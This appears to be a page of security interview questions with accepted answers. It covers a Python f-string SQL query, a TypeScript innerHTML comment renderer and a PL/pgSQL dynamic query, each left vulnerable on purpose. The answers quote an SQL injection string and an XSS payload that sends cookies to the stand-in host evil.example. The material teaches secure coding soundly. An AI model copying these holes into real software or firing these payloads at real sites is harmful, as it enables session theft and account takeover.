SQL injection & XSS interview questions

Question 1

This looks up a user by email for the login form. What's the problem?

import sqlite3

def find_user(conn: sqlite3.Connection, email: str):
    cur = conn.cursor()
    cur.execute(f"SELECT id, email, password_hash FROM users WHERE email = '{email}'")
    return cur.fetchone()

Accepted Answer

Line 6: The email is pasted into the SQL text, so input like `' OR '1'='1` changes the query and returns the first user, letting an attacker log in as someone else. Let the driver bind the value instead.

Question 2

renderComment() displays user comments under a post. What can an attacker do? interface Comment { author: string; body: string; } export function renderComment(list: HTMLElement, comment: Comment): void { const item = document.createElement("li"); item.innerHTML = `${comment.author}: ${comment.body}`; list.appendChild(item); }

Accepted Answer

Line 8: User text is parsed as HTML. A comment like `<img src=x onerror="fetch('//evil.example?c='+document.cookie)">` runs script in every reader's browser (stored XSS), which can steal sessions or act as the user.

Question 3

This PL/pgSQL function backs an admin search box. What's the vulnerability?

CREATE FUNCTION search_customers(p_name TEXT)
RETURNS SETOF customers AS $$
BEGIN
    RETURN QUERY EXECUTE
        'SELECT * FROM customers WHERE name ILIKE ''%' || p_name || '%''';
END;
$$ LANGUAGE plpgsql;

Accepted Answer

Line 5: The parameter is concatenated into a dynamically executed string, so a name containing a quote can rewrite the query. Code inside the database is just as injectable as application code.

SQL injection & XSS: interview questions

How to spot it in code review

Why AI-generated code gets this wrong

SQL injection & XSS: 3 practice questions

f-string SQL query

Rendering comments with innerHTML

Dynamic SQL in a stored function

Attempts distribution